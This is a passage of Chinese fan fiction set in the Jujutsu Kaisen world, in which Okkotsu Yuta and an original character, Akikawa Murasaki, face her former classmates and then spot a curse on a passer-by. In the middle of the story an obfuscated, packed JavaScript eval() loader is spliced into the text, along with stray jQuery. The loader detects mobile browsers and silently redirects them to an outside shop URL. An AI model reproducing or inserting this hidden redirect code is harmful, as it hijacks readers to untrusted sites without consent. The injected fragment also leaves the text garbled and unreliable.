-
“我要吃可丽饼。”
紫说出这句话的时候,他们正拎着纪念品纸袋,走在回高专的路上。
早饭是在24小时便利店随手买的金枪鱼蛋黄酱饭团,逛了一上午脚不停歇,现在也确实到了该肚子饿的时间。
乙骨忧太顺着她的目光看向不远处的商店招牌,精准找到一家大排长龙的可丽饼店,想了想,就把手中的纸袋放下,让她坐在树荫下的长椅上等他。
时节已经入夏。头顶的法国梧桐撑开碧绿的阴影,簌簌作响,如少年人被穿堂风吹动的衣袖。
午后正是暑气上升的时候,她其实有点犯困,脑袋一点一点,但还是努力不让自己睡过去,垂下眼睑去拨弄手臂上缠的绷带。
然而在她即将入睡的前一刻,听见了似乎有些熟悉的声音。
“咦,这不是秋川吗?”一个女声惊讶地说。
紧接着是另外一群同龄女生在叽叽喳喳地附和:“啊呀,我就说很眼熟吧,你们还不相信。”
紫费力地抬起眼皮,缓慢聚焦。
是一群穿着校服的女生。
“果然没看错啊。什么啊,没想到你竟然也会翘课。”
为首的那个女生一手拎着包,一手叉腰,冲她高高地抬起下巴。
紫一脸迷惑地眯起眼睛,开始辨认说话的人的脸。
却不想这个过于明显的举动立刻激怒了那个女生:“喂!别告诉我你连我是谁都忘了!”
“请问你是?”
紫很诚实地发问。
“哈,我就知道……你这个冷血的家伙。”她上前两步,弯下腰俯视她,“也是,哪怕是被你害死的人,你恐怕也能转头就忘得一干二净吧。”
闻到她身上过于浓烈的玫瑰香水味,紫不禁皱了皱眉头,然而在看到她头发上戴着的一个樱桃发卡时,隐约回忆起了一点印象:
“啊……原来是你啊,美月。”
菊池美月,她初中时的同班同学之一,现在烫了头发戴了美瞳,也学会了化妆,跟以前比起来完全大变样了。
唯一不变的,是她还戴着幸子送给她的樱桃发卡。
“哎呀,真是贵人多忘事,没想到小人我还能有幸被您记住啊。”她故作惊讶捂住嘴巴,露出新做的桃粉猫眼美甲,“你现在……应该是如愿考入瑞高了吧?”
“诶?话说回来瑞高的校服好像不长这样啊。”她的其中一个跟班吃惊地说。
“这是哪个学校的?怎么好像没见过啊。”另一个跟班帮腔道。
菊池美月的脸上露出了戏谑嘲弄的表情,过于明显的幸灾乐祸。
如果放在平时,紫大概不会有半点感觉。但眼下她本来就失血不适,加上睡眠不足和空腹低血糖带来的影响,于是少见地表现出了不爽的低气压。
“你……你摆出这种表情做什么?难道我们有哪句冤枉了你吗?”
菊池美月像是被吓到了似的,忽地后退了几步,一副色厉内荏的姿态。
就在紫正打算酝酿几句阴阳怪气回敬时,一只手搭在了她的肩膀上。
“秋川同学,因为不知道你喜欢哪种口味,所以就买了草莓味……咦?这几位是?”
回来得恰是时候的乙骨忧太,手里拿着新鲜现做的草莓奶油可丽饼,平静地注视着眼前显然是来找茬的几位。
似乎是被他的目光挑衅到,菊池美月拧着眉头扯出一个笑:“诶?秋川,没想到你喜欢的是这种类型啊,哈哈,要是让梅津知道了,他该有多伤心啊。”
听到又一个熟悉的姓氏,紫忍不住翻了个白眼,利落地起身甩下一句话:“你也可以让他来联系我啊,反正我不介意多养几个。”
对方刚要回嘴,一旁眼尖的同伴却看见了紫手臂上缠着的绷带,又瞟了眼默不作声凝视着她们的乙骨忧太,就扯了扯美月的袖子拦下了。
目送着二人悠然离去的背影,菊池美月退一步越想越气,冲着他们大喊道:
“你以为你是交好运吃上天鹅肉了吗?别怪我没提醒你,不想被她害死的话就趁早……”
-
“……秋川同学,你还好吗?”
回高专的地铁上,乙骨忧太有些紧张地观察着她脸上的神色。
他还是第一次见到秋川同学露出那种……想要杀人的表情。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647852|206092||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
只不过与乙骨忧太的紧张完全相反,紫的脑内正在思考的是完全不同的事情。
起初她或许确实有过一瞬不爽:一群连应试都考不过自己的废物,到底是哪里来的自信敢在她面前大放厥词的。
但是很快她就后悔了:自己为什么要在一群无关紧要的人身上浪费时间和精力呢?
迅速梳理好情绪后,她郑重地跟他道歉:“抱歉,乙骨同学,刚才的对话纯粹是为了吵架,和你没有关系,希望你不要多想。”
“那个倒是没事……”乙骨忧太有些尴尬地抓了抓头发,话锋一转,“不过梅津是谁啊?你以前的同学吗?为什么他们要那样说?”
紫沉默了一下:“……嗯,他以前跟我表白过。”
“诶?真的吗?”
“假的。”紫无奈地叹了口气,“是恶作剧。”
“真的会有人拿这个当恶作剧吗……”
“怎么没有?”紫回忆起过去的画面,咬牙切齿地说,“他当初还撺掇了一大帮人围着,为的就是让我下不来台,看我难堪。”
……总感觉好像有哪里不太对劲。
但乙骨忧太还是顺着她的话继续问:“那秋川同学后来是怎么回复的呢?”
紫停顿了片刻,犹豫着开口:“……乙骨同学,其实我一直是一个很刻薄的人。”
她扭过头,望向车窗外飞快掠去的风景:“我那个时候说——‘我没有兴趣跟考不上瑞高的人发展恋爱关系’。”
说到这里,她不由得苦笑两声:“不过没想到现在这个回旋镖扎到自己身上了,哈哈。”
“某种意义上,今天的事也算是为从前的自视过高还债吧……”
紫回过头,忽然对上一双始终温和地注视着自己的蓝眼睛。
“秋川同学,我不认为……”
乙骨忧太刚要开口说些什么,就被紫用一个手势打断了。
她踮起脚贴近他的耳朵,视线越过他的肩膀,用只有他们两人能听见的音量说:
“乙骨同学,你看到那边那个穿黑色西装的高个男人了吗?”
“他的身上好像有一只咒灵。”